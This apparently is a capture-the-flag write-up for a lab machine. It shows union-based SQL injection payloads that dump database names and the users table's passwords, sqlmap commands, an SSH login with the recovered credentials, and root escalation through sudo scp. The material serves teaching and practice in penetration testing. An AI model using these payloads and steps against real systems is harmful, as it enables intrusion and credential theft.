• Clicking on one gives the following URL:

http://10.10.204.254/item.php?id=3

• If you remove the ?id=3 it results in:

• So we know it's MySQL

• Attempting to break it:

http://10.10.204.254/item.php?id=3'

or using Union

http://10.10.204.254/item.php?id=3 UNION SELECT 1 --

• I randomly changed the id=100 http://10.10.204.254/item.php?id=100

Compared to (normal request ie. id=1):

• Fuzzing the id field ?id=5

http://10.10.204.254/item.php?id=5

http://10.10.204.254/item.php?id=5 union select 1

union select 1,2,3,4,5

• 2 and 4 are being reflected so:

union select 1,database(),3,version(),5

• Fetch the users table from the database

?id=1 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_schema = database() and table_name = "users"

• Get column passwords from the table

?id=1 union select 1,2,3,password,5 from users

• But it dared me to use SQLMap so...

• Open Burp and capture the request. Save the request to a file (burp)

• Run SQLMap:

sqlmap -r burp --batch

• Found the following injection points:

• Or just dump the database (more noisy):

sqlmap -r burp --batch --dump

• SSH with the credentials:

ssh dennis@10.10.204.254

• Enumeration:

sudo -l

• We can run scp as sudo

• GTFOBins

• Got Root

• Stabilise:

python -c 'import pty; pty.spawn("/bin/bash")'

• Search for flags:

find / -name "flag\*" 2>/dev/null

• Found flag3 in: /home/dennis/.bash_history
